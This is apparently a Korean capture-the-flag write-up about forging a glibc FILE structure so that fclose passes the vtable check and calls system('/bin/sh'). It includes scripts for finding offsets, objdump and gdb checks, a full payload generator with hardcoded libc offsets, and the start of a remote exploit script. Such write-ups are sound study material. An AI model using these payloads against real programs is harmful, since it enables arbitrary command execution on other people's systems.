FILE * ๋ฅผ fopen ์œผ๋กœ ์—ด๋ฉด _IO_file_jumps ๊ฐ€ ๋ถ™๋Š”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ sprintf ์ฒ˜๋Ÿผ ๋ฉ”๋ชจ๋ฆฌ ๋ฒ„ํผ๋ฅผ ์ŠคํŠธ๋ฆผ์ฒ˜๋Ÿผ ์“ฐ๋Š” ํ•จ์ˆ˜๋Š” ๋‹ค๋ฅธ ๊ฑธ ์“ด๋‹ค. ๋ฌธ์ž์—ด ์ŠคํŠธ๋ฆผ์šฉ _IO_str_jumps ๋‹ค. ๊ทธ vtable ์˜ __finish ์Šฌ๋กฏ์— ๊ฑธ๋ฆฐ ํ•จ์ˆ˜๋ฅผ ๋ณด์ž.

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;
 
  _IO_default_finish (fp, 0);
}

_IO_strfile ์€ _IO_FILE_plus ๋’ค์— ๋‘ ์นธ์ด ๋” ๋ถ™์€ ๊ตฌ์กฐ์ฒด๋‹ค.

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;  /* +0xe0 */
  _IO_free_type  _free_buffer;      /* +0xe8 */
};

์ •๋ฆฌํ•˜๋ฉด _IO_str_finish ๋Š” ์ด๋ ‡๊ฒŒ ๋™์ž‘ํ•œ๋‹ค.

  • fp->_IO_buf_base(+0x38)๊ฐ€ NULL ์ด ์•„๋‹ˆ๊ณ 
  • _flags & _IO_USER_BUF(0x1)๊ฐ€ ๊บผ์ ธ ์žˆ์œผ๋ฉด
  • *(fp+0xe8) ์„ ํ•จ์ˆ˜๋กœ ํ˜ธ์ถœํ•œ๋‹ค. ์ธ์ž๋Š” fp->_IO_buf_base.

+0x38 ๊ณผ +0xe8. ๋‘˜ ๋‹ค ์šฐ๋ฆฌ๊ฐ€ ๋ฎ๋Š” 300๋ฐ”์ดํŠธ ์•ˆ์— ์žˆ๋‹ค. +0x38 ์— "/bin/sh" ์ฃผ์†Œ๋ฅผ, +0xe8 ์— system ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ์…ธ์ด๋‹ค.

_IO_str_jumps ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ โ€” ์‹ฌ๋ณผ์ด ์—†๋‹ค

๋ฌธ์ œ๋Š” _IO_str_jumps ๊ฐ€ static const ๋ผ ๋ฐฐํฌ libc ์—์„œ ์‹ฌ๋ณผ์ด ์•ˆ ๋‚จ๋Š”๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. nm ์œผ๋กœ๋„ ์•ˆ ๋‚˜์˜ค๊ณ  pwntools ELF.symbols ๋กœ๋„ ์•ˆ ์žกํžŒ๋‹ค.

๊ทธ๋ž˜์„œ ๋‘ ๋‹จ์„œ๋กœ ์ขํ˜”๋‹ค.

  1. _IO_str_jumps ๋Š” __libc_IO_vtables ์„น์…˜ ์•ˆ์— ์žˆ๋‹ค.
  2. ๊ทธ vtable ์˜ __overflow(+0x18) ์Šฌ๋กฏ์€ _IO_str_overflow ์ธ๋ฐ, ์ด๊ฑด export ๋ผ ์žˆ๋‹ค.

์„น์…˜ ์•ˆ์—์„œ _IO_str_overflow ์ฃผ์†Œ๊ฐ€ ํ†ต์งธ๋กœ ๋ฐ•ํžŒ ์ž๋ฆฌ๋ฅผ ์ฐพ๊ณ , ๊ฑฐ๊ธฐ์„œ 0x18 ์„ ๋นผ๋ฉด vtable ์‹œ์ž‘์ด๋‹ค. ๋‹ค๋งŒ _IO_mem_jumps(open_memstream ์šฉ)๋„ __overflow ๊ฐ€ ๊ฐ™์€ ํ•จ์ˆ˜๋ผ ํ›„๋ณด๊ฐ€ ๋‘˜ ๋‚˜์˜จ๋‹ค. ๊ทธ๊ฑด __finish ์Šฌ๋กฏ์œผ๋กœ ๊ฐ€๋ฅธ๋‹ค โ€” _IO_str_finish ๋Š” _IO_str_overflow ์™€ ๊ฐ™์€ ํŒŒ์ผ(strops.c)์— ์žˆ์–ด ์ฃผ์†Œ๊ฐ€ ๊ฐ€๊น๋‹ค.

#!/usr/bin/env python3
# ์ŠคํŠธ๋ฆฝ๋œ libc ์—์„œ _IO_str_jumps ์˜ ์˜คํ”„์…‹์„ ์ฐพ๋Š”๋‹ค.
#
# _IO_str_jumps ๋Š” static const ๋ผ ์‹ฌ๋ณผ์ด ์•ˆ ๋‚จ๋Š”๋‹ค. ํ•˜์ง€๋งŒ
#   (1) __libc_IO_vtables ์„น์…˜ ์•ˆ์— ์žˆ๊ณ ,
#   (2) +0x18(__overflow) ์นธ์ด _IO_str_overflow โ€” ์ด๊ฑด export ๋ผ ์žˆ๋‹ค.
# ์ด ๋‘˜๋กœ ํ›„๋ณด๋ฅผ ์ขํžŒ ๋’ค, +0x10(__finish) ์ด _IO_str_finish ์ธ ์ชฝ์„ ๊ณ ๋ฅธ๋‹ค.
# (_IO_mem_jumps ๋„ __overflow ๊ฐ€ _IO_str_overflow ๋ผ ํ›„๋ณด๋กœ ๊ฐ™์ด ๊ฑธ๋ฆฐ๋‹ค.)
import struct
from pwn import ELF
 
PATH = 'extracted/libc.so.6'
lib = ELF(PATH, checksec=False)
data = open(PATH, 'rb').read()
 
# __libc_IO_vtables ์„น์…˜ ๊ฒฝ๊ณ„ โ€” IO_validate_vtable ์ด ์ด ๋ฒ”์œ„๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค
sec = lib.get_section_by_name('__libc_IO_vtables')
start, size = sec.header.sh_addr, sec.header.sh_size
delta = sec.header.sh_addr - sec.header.sh_offset   # ํŒŒ์ผ์˜คํ”„์…‹ โ†’ ๊ฐ€์ƒ์ฃผ์†Œ
print('[section] __libc_IO_vtables = %#x .. %#x  (len %#x)' % (start, start + size, size))
 
str_overflow = lib.symbols['_IO_str_overflow']
print('[symbol ] _IO_str_overflow   = %#x' % str_overflow)
 
needle = struct.pack('<Q', str_overflow)
off = 0
while True:
    i = data.find(needle, off)
    if i < 0:
        break
    off = i + 1
    vt = i - 0x18 + delta              # __overflow ๋Š” vtable+0x18
    if not (start <= vt < start + size):
        continue                       # ์„น์…˜ ๋ฐ–์ด๋ฉด vtable ์ด ์•„๋‹ˆ๋‹ค
    finish = struct.unpack('<Q', data[i - 0x18 + 0x10:i - 0x18 + 0x18])[0]
    name = '_IO_str_jumps' if abs(finish - str_overflow) < 0x1000 else '_IO_mem_jumps'
    print('[cand   ] vtable=%#x  __finish=%#x  โ†’ %s' % (vt, finish, name))
find_str_jumps.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ์•ˆ์—์„œ ํ›„๋ณด ๋‘ ๊ฐœ๋ฅผ ์ฐพ์•„ _IO_mem_jumps ์™€ _IO_str_jumps ๋กœ ๊ฐˆ๋ผ ์ค€๋‹ค
find_str_jumps.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ์•ˆ์—์„œ ํ›„๋ณด ๋‘ ๊ฐœ๋ฅผ ์ฐพ์•„ _IO_mem_jumps ์™€ _IO_str_jumps ๋กœ ๊ฐˆ๋ผ ์ค€๋‹ค

_IO_str_jumps = 0x3e8360, __finish = _IO_str_finish = 0x90300.

์„น์…˜ ์‹œ์ž‘์ด 0x3e7760 ์ด๋‹ˆ ์˜คํ”„์…‹์€ 0x3e8360 - 0x3e7760 = 0xc00. 0xd68 ๋ณด๋‹ค ์ž‘๋‹ค. ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค.

๋‹ค๋ฅธ ๊ฒฝ๋กœ๋กœ ํ•œ ๋ฒˆ ๋” ํ™•์ธ

์Šคํฌ๋ฆฝํŠธ ํ•˜๋‚˜ ๋Œ๋ ค ๋‚˜์˜จ ๊ฐ’์ด๋ผ ์ฐœ์ฐœํ•˜๋ฉด, ์™„์ „ํžˆ ๋‹ค๋ฅธ ๊ฐ๋„์—์„œ ๋Œ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค. vsprintf ๋Š” ์Šคํƒ์— _IO_strfile ์„ ๋งŒ๋“ค๊ณ  ๊ฑฐ๊ธฐ์— _IO_str_jumps ๋ฅผ ์‹ฌ๋Š”๋‹ค. ๊ทธ ์ฝ”๋“œ์— ์ฃผ์†Œ๊ฐ€ ์ƒ์ˆ˜๋กœ ๋ฐ•ํ˜€ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

objdump -d --start-address=0x81690 --stop-address=0x816c3 extracted/libc.so.6 | sed -f annot_vsprintf.sed
/  8169a:/s/$/     <-- _IO_no_init: ์Šคํƒ์— _IO_strfile ์ดˆ๊ธฐํ™”/
/  8169f:/s/$/     <-- rax = 0x3e8360  = _IO_str_jumps/
/  816b6:/s/$/     <-- ๊ทธ ๊ฐ’์„ strfile+0xd8(vtable ์นธ)์— ์ €์žฅ/
/  816be:/s/$/     <-- _IO_str_init_static_internal/
objdump ๋กœ ๋ณธ _IO_vsprintf โ€” lea ๋กœ 0x3e8360 ์„ ์ง‘์–ด ์Šคํƒ strfile ์˜ 0xd8 ์นธ์— ๋„ฃ๋Š”๋‹ค. _IO_str_jumps ์ฃผ์†Œ๊ฐ€ ๋…๋ฆฝ์ ์œผ๋กœ ํ™•์ธ๋œ๋‹ค
objdump ๋กœ ๋ณธ _IO_vsprintf โ€” lea ๋กœ 0x3e8360 ์„ ์ง‘์–ด ์Šคํƒ strfile ์˜ 0xd8 ์นธ์— ๋„ฃ๋Š”๋‹ค. _IO_str_jumps ์ฃผ์†Œ๊ฐ€ ๋…๋ฆฝ์ ์œผ๋กœ ํ™•์ธ๋œ๋‹ค

lea 0x366cba(%rip),%rax ์˜ ๊ณ„์‚ฐ ๊ฒฐ๊ณผ๊ฐ€ ์ฃผ์„์œผ๋กœ # 3e8360 ์ด๋ผ ์ฐํ˜€ ์žˆ๊ณ , ๊ทธ ๊ฐ’์ด 0xd8(%rsp) ์— ์ €์žฅ๋œ๋‹ค. _IO_FILE_plus ์˜ vtable ์นธ์ด๋‹ค. ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฐพ์€ ๊ฐ’๊ณผ ์ •ํ™•ํžˆ ๊ฐ™๋‹ค.

_IO_str_finish ๋„ ์ง์ ‘ ํ™•์ธ

C ์†Œ์Šค๋Š” ์ฐธ๊ณ ์ผ ๋ฟ์ด๊ณ , ์‹ค์ œ๋กœ ๋„๋Š” ๊ฑด ์ด libc ์˜ ๊ธฐ๊ณ„์–ด๋‹ค.

objdump -d --start-address=0x90300 --stop-address=0x9032b extracted/libc.so.6 | sed -f annot_str_finish.sed
/  90304:/s/$/     <-- rdi = fp->_IO_buf_base/
/  9030b:/s/$/     <-- NULL ์ด๋ฉด ๊ฑด๋„ˆ๋œ€/
/  9030d:/s/$/     <-- _flags \& _IO_USER_BUF(0x1)/
/  90310:/s/$/     <-- ์ผœ์ ธ ์žˆ์œผ๋ฉด ๊ฑด๋„ˆ๋œ€/
/  90312:/s/$/     <-- fp+0xe8 ์„ ํ•จ์ˆ˜๋กœ ํ˜ธ์ถœ = system("\/bin\/sh")/
/  90326:/s/$/     <-- _IO_default_finish ๋กœ tail-call/
objdump ๋กœ ๋ณธ _IO_str_finish โ€” 0x38 ์นธ์„ rdi ์— ์‹ฃ๊ณ  _flags ์ตœํ•˜์œ„ ๋น„ํŠธ๋ฅผ ๊ฒ€์‚ฌํ•œ ๋’ค call *0xe8(%rbx) ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค
objdump ๋กœ ๋ณธ _IO_str_finish โ€” 0x38 ์นธ์„ rdi ์— ์‹ฃ๊ณ  _flags ์ตœํ•˜์œ„ ๋น„ํŠธ๋ฅผ ๊ฒ€์‚ฌํ•œ ๋’ค call *0xe8(%rbx) ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค

๊ธฐ๊ณ„์–ด 12์ค„์ด ์†Œ์Šค์™€ ํ•œ ์ค„์”ฉ ๋Œ€์‘ํ•œ๋‹ค.

90300:  push %rbx
90301:  mov  %rdi,%rbx            ; rbx = fp
90304:  mov  0x38(%rdi),%rdi      ; rdi = fp->_IO_buf_base
90308:  test %rdi,%rdi
9030b:  je   90318                ; NULL ์ด๋ฉด ํ˜ธ์ถœ ์•ˆ ํ•จ
9030d:  testb $0x1,(%rbx)         ; _flags & _IO_USER_BUF
90310:  jne  90318                ; ์ผœ์ ธ ์žˆ์œผ๋ฉด ํ˜ธ์ถœ ์•ˆ ํ•จ
90312:  call *0xe8(%rbx)          ; โ˜… ์—ฌ๊ธฐ

์ธ์ž๊ฐ€ rdi = fp->_IO_buf_base ๋กœ ์ด๋ฏธ ์„ธํŒ…๋œ ์ฑ„๋กœ *(fp+0xe8) ์„ ๋ถ€๋ฅธ๋‹ค. system ์˜ ์ฒซ ์ธ์ž๊ฐ€ rdi ๋‹ˆ ๋”ฑ ๋งž๋Š”๋‹ค. ๊ฐ€์ ฏ์„ ์ฐพ์„ ํ•„์š”๋„ ์—†๋‹ค.



๐ŸŽฏ ํŽ˜์ด๋กœ๋“œ ์กฐ๋ฆฝ โ€” ๊ฒฐ๊ตญ _flags ์„ธ ๋น„ํŠธ

์ง€๊ธˆ๊นŒ์ง€ ๋‚˜์˜จ ์กฐ๊ฑด์„ ๋‹ค ๋ชจ์œผ๋ฉด ์‹ค์ œ๋กœ ์ฑ„์›Œ์•ผ ํ•  ์นธ์€ ๋„ค ๊ฐœ๋ฟ์ด๋‹ค.

์˜คํ”„์…‹ํ•„๋“œ๊ฐ’์ด์œ 
0x00_flags0xfbad8000์•„๋ž˜ ํ‘œ ์ฐธ๊ณ 
0x38_IO_buf_baselibc + 0x1b3e9a_IO_str_finish ๊ฐ€ rdi ๋กœ ๋„˜๊ธธ "/bin/sh"
0xd8vtablelibc + 0x3e8360_IO_str_jumps โ€” ์„น์…˜ ์•ˆ์ด๋ผ ๊ฒ€์‚ฌ ํ†ต๊ณผ
0xe8_s._free_bufferlibc + 0x4f440์‹ค์ œ๋กœ ํ˜ธ์ถœ๋˜๋Š” ์นธ = system

๋‚˜๋จธ์ง€๋Š” ์ „๋ถ€ 0์œผ๋กœ ๋‘ฌ๋„ ๋œ๋‹ค. _lock(0x88)๊นŒ์ง€๋„.

_flags ๋Š” ๋น„ํŠธ ์„ธ ๊ฐœ๊ฐ€ ์ „๋ถ€๋‹ค.

๋น„ํŠธ์ด๋ฆ„๊ฐ’์™œ
0x0001_IO_USER_BUF๊บผ์ง์ผœ์ ธ ์žˆ์œผ๋ฉด _IO_str_finish ๊ฐ€ _free_buffer ๋ฅผ ์•ˆ ๋ถ€๋ฅธ๋‹ค
0x2000_IO_IS_FILEBUF๊บผ์ง์ผœ์ ธ ์žˆ์œผ๋ฉด _IO_un_link ยท _IO_file_close_it ์ฝ”์Šค๋กœ ์ƒŒ๋‹ค
0x8000_IO_USER_LOCK์ผœ์ง์ผœ๋ฉด _lock(0x88) ์—ญ์ฐธ์กฐ๋ฅผ ํ†ต์งธ๋กœ ๊ฑด๋„ˆ๋›ด๋‹ค

0xfbad8000 ์€ ์„ธ ์กฐ๊ฑด์„ ๋‹ค ๋งŒ์กฑํ•˜๋Š” ๊ฐ’ ์ค‘ ํ•˜๋‚˜๋‹ค. ์ƒ์œ„ 0xfbad ๋Š” ์›๋ž˜ FILE ์˜ ๋งค์ง์ด๋ผ ๊ทธ๋Œ€๋กœ ํ‰๋‚ด ๋ƒˆ๋‹ค. ์‚ฌ์‹ค fclose ๊ฒฝ๋กœ์—์„œ๋Š” ๋งค์ง์„ ์•ˆ ๋ณด๋ฏ€๋กœ 0x8000 ๋งŒ ๋„ฃ์–ด๋„ ๋™์ž‘ํ•œ๋‹ค.

_IO_USER_LOCK ์„ ์ผœ๋Š” ๊ฒŒ ์–ต์ง€์Šค๋Ÿฌ์šด ์กฐํ•ฉ์ธ๊ฐ€ ์‹ถ์—ˆ๋Š”๋ฐ, ์•„๋‹ˆ์—ˆ๋‹ค. ์•ž์˜ _IO_vsprintf ์บก์ณ์—์„œ lea ๋ฐ”๋กœ ์œ„์— ์žˆ๋˜ ํ˜ธ์ถœ์ด _IO_no_init ์ธ๋ฐ, glibc ์†Œ์Šค์—์„œ ๊ทธ ํ˜ธ์ถœ์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

_IO_no_init (&sf._sbf._f, _IO_USER_LOCK, -1, NULL, NULL);
_IO_JUMPS (&sf._sbf) = &_IO_str_jumps;

์ฆ‰ glibc ์ž์‹ ์ด ๋ฌธ์ž์—ด ์ŠคํŠธ๋ฆผ์„ ๋งŒ๋“ค ๋•Œ _IO_USER_LOCK ์„ ์ผœ๊ณ  _IO_str_jumps ๋ฅผ ๋ถ™์ธ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์กฐ๋ฆฝํ•œ ์กฐํ•ฉ์€ ์ •์ƒ str ์ŠคํŠธ๋ฆผ์ด ์›๋ž˜ ๊ฐ–๋Š” ๋ชจ์–‘ ๊ทธ๋Œ€๋กœ๋‹ค. _lock ์ด ํ•„์š” ์—†๋Š” ๊ฒƒ๋„ ๊ทธ๋ž˜์„œ๋‹ค โ€” ์Šคํƒ์— ์ž ๊น ๋งŒ๋“ค์—ˆ๋‹ค ๋ฒ„๋ฆฌ๋Š” ์ŠคํŠธ๋ฆผ์— ๋ฝ์„ ๊ฑธ ์ด์œ ๊ฐ€ ์—†์œผ๋‹ˆ glibc ๊ฐ€ ์ฒ˜์Œ๋ถ€ํ„ฐ ๊ทธ ๊ฒฝ๋กœ๋ฅผ ๊บผ ๋‘” ๊ฒƒ์ด๋‹ค.

ํ•œ ๊ทธ๋ฆผ์œผ๋กœ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

์œ„์กฐํ•œ FILE ๊ตฌ์กฐ์ฒด์˜ ์นธ๋ณ„ ์—ญํ• ๊ณผ fclose ๊ฐ€ ์ง€๋‚˜๊ฐ€๋Š” ๋‹ค์„ฏ ๋‹จ๊ณ„๋ฅผ ํ•œ ์žฅ์— ์ •๋ฆฌํ•œ ๋„์‹ โ€” 0xd8 ์˜ vtable ์„ _IO_str_jumps ๋กœ, 0xe8 ์„ system ์œผ๋กœ ์ฑ„์šด ๋ฐฐ์น˜๊ฐ€ ํ‘œ์‹œ๋ผ ์žˆ๋‹ค
์œ„์กฐํ•œ FILE ๊ตฌ์กฐ์ฒด์˜ ์นธ๋ณ„ ์—ญํ• ๊ณผ fclose ๊ฐ€ ์ง€๋‚˜๊ฐ€๋Š” ๋‹ค์„ฏ ๋‹จ๊ณ„๋ฅผ ํ•œ ์žฅ์— ์ •๋ฆฌํ•œ ๋„์‹ โ€” 0xd8 ์˜ vtable ์„ _IO_str_jumps ๋กœ, 0xe8 ์„ system ์œผ๋กœ ์ฑ„์šด ๋ฐฐ์น˜๊ฐ€ ํ‘œ์‹œ๋ผ ์žˆ๋‹ค

๋Ÿฐํƒ€์ž„์œผ๋กœ ํ™•์ธ

์ •์  ๋ถ„์„์ด ๋งž์•˜๋Š”์ง€๋Š” ์‹คํ–‰ ์ค‘์— ๋ด์•ผ ํ™•์‹คํ•˜๋‹ค. fclose+0x69(call *0x10(%r12) ์ง์ „)์— ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ๊ณ  ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ฐ์–ด ๋ดค๋‹ค.

๋จผ์ € gdb ๋Š” ASLR ์„ ๋„๋‹ˆ libc ์ ์žฌ ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๋‹ค. ๊ทธ ๊ฐ’์œผ๋กœ payload ๋ฅผ ํŒŒ์ผ์— ๋งŒ๋“ ๋‹ค.

#!/usr/bin/env python3
# gdb ๋กœ ๊ด€์ฐฐํ•  ๋•Œ ์“ธ payload.bin ์„ ๋งŒ๋“ ๋‹ค.
from pwn import p64, p32, p16, p8
import sys
 
libc = int(sys.argv[1], 0)
SYSTEM, BINSH, IO_STR_JUMPS = 0x4f440, 0x1b3e9a, 0x3e8360
 
payload  = p64(0xfbad8000)                 # 0x00 _flags
payload += p64(0) * 6                      # 0x08 _IO_read_ptr โ€ฆ 0x30 _IO_write_end
payload += p64(libc + BINSH)               # 0x38 _IO_buf_base โ†’ _IO_str_finish ์˜ rdi
payload += p64(0)                          # 0x40 _IO_buf_end
payload += p64(0) * 4                      # 0x48 _IO_save_base โ€ฆ 0x60 _markers
payload += p64(0)                          # 0x68 _chain
payload += p32(0) + p32(0)                 # 0x70 _fileno, 0x74 _flags2
payload += p64(0)                          # 0x78 _old_offset
payload += p16(0) + p8(0) + p8(0) + p32(0) # 0x80 _cur_columnยท_vtable_offsetยท_shortbuf
payload += p64(0) * 7                      # 0x88 _lock โ€ฆ 0xb8 __pad5
payload += p32(0) + b'\x00' * 20           # 0xc0 _mode, 0xc4 _unused2[20]
assert len(payload) == 0xd8
payload += p64(libc + IO_STR_JUMPS)        # 0xd8 vtable
payload += p64(0)                          # 0xe0 _s._allocate_buffer
payload += p64(libc + SYSTEM)              # 0xe8 _s._free_buffer
payload += b'\x00' * (300 - len(payload))
 
open('payload.bin', 'wb').write(payload)
print('payload.bin %d bytes  (libc=%#x  vtable=%#x  system=%#x)'
      % (len(payload), libc, libc + IO_STR_JUMPS, libc + SYSTEM))

libc ๋ฒ ์ด์Šค๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์Šค์Šค๋กœ ์ฐ์–ด ์ฃผ๋Š” ๊ฐ’์—์„œ ๊ตฌํ•œ๋‹ค.

base=$(gdb -q -batch -ex 'run < /dev/null' ./local/bypass_valid_vtable \
        | grep -oP 'stdout: \K0x[0-9a-f]+')
python3 gen_payload.py $((base - 0x3ec760))

gdb ๋ฐฐ์น˜ ์Šคํฌ๋ฆฝํŠธ(gdb_check.gdb)๋Š” ์ด๋ ‡๋‹ค.

set confirm off
set pagination off
 
# fclose+0x69 = IO_validate_vtable ์„ ํ†ต๊ณผํ•œ ์งํ›„, __finish ๋ฅผ ๋ถ€๋ฅด๊ธฐ ์ง์ „
break *(fclose+0x69)
run < payload.bin
 
set $libc = (unsigned long)&system - 0x4f440
 
printf "\n=== IO_validate_vtable ์ด ์‹ค์ œ๋กœ ๋น„๊ตํ•œ ๊ฐ’ ===\n"
printf "libc base            = %#lx\n", $libc
printf "section length (rax) = %#lx\n", $rax
printf "vtable offset  (rcx) = %#lx   <- length ๋ณด๋‹ค ์ž‘์•„์•ผ ํ†ต๊ณผ\n", $rcx
printf "vtable         (r12) = libc+%#lx\n", $r12 - $libc
 
printf "\n=== ๊ณง ๋ถˆ๋ฆด ํ•จ์ˆ˜์™€ ๊ทธ ์ธ์ž ===\n"
printf "__finish = *(vtable+0x10) = libc+%#lx  (_IO_str_finish)\n", *(unsigned long *)($r12 + 0x10) - $libc
printf "fp->_IO_buf_base = libc+%#lx\n", *(unsigned long *)($rbx + 0x38) - $libc
x/s *(char **)($rbx + 0x38)
printf "fp+0xe8 = libc+%#lx\n", *(unsigned long *)($rbx + 0xe8) - $libc
info symbol *(unsigned long *)($rbx + 0xe8)
gdb -q -batch -x gdb_check.gdb ./local/bypass_valid_vtable 2>&1 | grep -avE "Loadable section|^  in /home" | cat -s
gdb ๋ฐฐ์น˜ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ๊ธธ์ด 0xd68 ๊ณผ vtable ์˜คํ”„์…‹ 0xc00 ์ด ์‹ค์ œ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ํ™•์ธ๋˜๊ณ  fp+0xe8 ์ด system ์œผ๋กœ ํ•ด์„๋œ๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์„น์…˜ ๊ธธ์ด 0xd68 ๊ณผ vtable ์˜คํ”„์…‹ 0xc00 ์ด ์‹ค์ œ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ํ™•์ธ๋˜๊ณ  fp+0xe8 ์ด system ์œผ๋กœ ํ•ด์„๋œ๋‹ค

์ •์  ๋ถ„์„์—์„œ ๊ณ„์‚ฐํ•œ ๊ฐ’์ด ์‹คํ–‰ ์ค‘ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ „๋ถ€ ํ™•์ธ๋œ๋‹ค.

  • section length (rax) = 0xd68 โ€” objdump ์—์„œ lea ๋‘ ๊ฐœ๋กœ ์ฝ์€ ๊ฐ’ ๊ทธ๋Œ€๋กœ
  • vtable offset (rcx) = 0xc00 โ€” 0xd68 ๋ฏธ๋งŒ์ด๋ผ jbe ๋ฅผ ์•ˆ ํƒ„๋‹ค
  • __finish = libc+0x90300 โ€” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฐพ์€ _IO_str_finish
  • x/s ๊ฒฐ๊ณผ๊ฐ€ "/bin/sh", fp+0xe8 ์€ gdb ๊ฐ€ system ์œผ๋กœ ํ•ด์„

์ด ์‹œ์ ์—์„œ call *0x10(%r12) ํ•œ ์ค„๋งŒ ๋‚จ์•˜๋‹ค.



โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 2 โ€” ๋กœ์ปฌ์€ ๋˜๋Š”๋ฐ ์›๊ฒฉ๋งŒ 0๋ฐ”์ดํŠธ๋กœ ๋๋‚ฌ๋‹ค

์ต์Šค๋Š” ์™„์„ฑ๋๊ณ  ๋กœ์ปฌ์—์„œ ์…ธ๊นŒ์ง€ ์žก์•˜๋Š”๋ฐ, ๋ฐฐํฌ Dockerfile ๊ทธ๋Œ€๋กœ ๋„์šด socat ์ปจํ…Œ์ด๋„ˆ์— ๋ถ™์ด๋‹ˆ ์•„๋ฌด ์‘๋‹ต๋„ ์•ˆ ์™”๋‹ค. ๋ฐ›์€ ๋ฐ”์ดํŠธ ์ˆ˜ 0.

ํฌ๋ž˜์‹œ์ธ์ง€, ์…ธ์€ ๋–ด๋Š”๋ฐ ์ถœ๋ ฅ์ด ์•ˆ ์˜ค๋Š” ๊ฑด์ง€ ๊ตฌ๋ถ„์ด ์•ˆ ๋๋‹ค. Fatal error ๊ฐ™์€ ๋ฉ”์‹œ์ง€๋ผ๋„ ์žˆ์œผ๋ฉด ์ข‹์•˜์„ ํ…๋ฐ ๊ทธ๊ฒƒ๋„ ์—†์—ˆ๋‹ค.

์›์ธ์€ ์ต์Šค๊ฐ€ ์•„๋‹ˆ๋ผ TCP ์˜€๋‹ค. ๋ฐฐํฌ CMD ๋ฅผ ๋ณด๋ฉด ์ด๋ ‡๋‹ค.

CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

socat ์ด ์†Œ์ผ“์„ ํ”„๋กœ์„ธ์Šค์˜ stdin ์— ๊ทธ๋Œ€๋กœ ๋ฌผ๋ฆฐ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ read(0, fp, 300) ์€ ์†Œ์ผ“์—์„œ ์ฝ๋Š”๋‹ค.

๋‚ด๊ฐ€ ๋ณด๋‚ธ ๊ฑด 240๋ฐ”์ดํŠธ ํŽ˜์ด๋กœ๋“œ + ๊ณง์ด์–ด ๋ณด๋‚ธ id\n ์ด์—ˆ๋‹ค. ๋‘˜์ด ๋ถ™์–ด์„œ ํ•œ ์„ธ๊ทธ๋จผํŠธ๋กœ ๋„์ฐฉํ•˜๋ฉด read ๋Š” ์ตœ๋Œ€ 300๊นŒ์ง€ ์ฝ์œผ๋ฏ€๋กœ ์…ธ์— ์ค„ ๋ช…๋ น๊นŒ์ง€ ๊ฐ™์ด ๋จน์–ด ๋ฒ„๋ฆฐ๋‹ค. FILE ์€ ์ •์ƒ์ ์œผ๋กœ ๋ฎ์ด๊ณ  ์…ธ๋„ ์ •์ƒ์ ์œผ๋กœ ๋œฌ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ์…ธ์ด ์ฝ์„ ๊ฒŒ ์•„๋ฌด๊ฒƒ๋„ ์—†์–ด์„œ ๊ทธ๋ƒฅ ๋Œ€๊ธฐํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‹ค ์—ฐ๊ฒฐ์ด ๋‹ซํžˆ๋ฉด ์กฐ์šฉํžˆ ๋๋‚œ๋‹ค.

๋กœ์ปฌ์—์„œ process() ๋กœ ๋Œ๋ฆด ๋• ํŒŒ์ดํ”„ ํƒ€์ด๋ฐ์ด ๋‹ฌ๋ผ ์šฐ์—ฐํžˆ ๋‚˜๋‰˜์–ด์„œ ์„ฑ๊ณตํ–ˆ๋‹ค. "๋กœ์ปฌ์€ ๋˜๋Š”๋ฐ ์›๊ฒฉ๋งŒ ์•ˆ ๋œ๋‹ค"์˜ ์ •์ฒด๊ฐ€ ์ต์Šค ๋กœ์ง์ด ์•„๋‹ˆ๋ผ ์ด๊ฑฐ์˜€๋‹ค.

์žฌํ˜„ํ•ด ๋ณด๋ฉด ๋ช…ํ™•ํ•˜๋‹ค.

#!/usr/bin/env python3
# ์‚ฝ์งˆ ์žฌํ˜„ โ€” ํŽ˜์ด๋กœ๋“œ๋ฅผ 0xf0(240)๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๊ณ  ๊ณง๋ฐ”๋กœ ์…ธ ๋ช…๋ น์„ ๋ถ™์—ฌ ๋ณด๋‚ธ๋‹ค.
from pwn import *
import sys
 
context.arch = 'amd64'
context.log_level = 'warn'
 
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
 
p = remote(HOST, PORT)
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - 0x3ec760
 
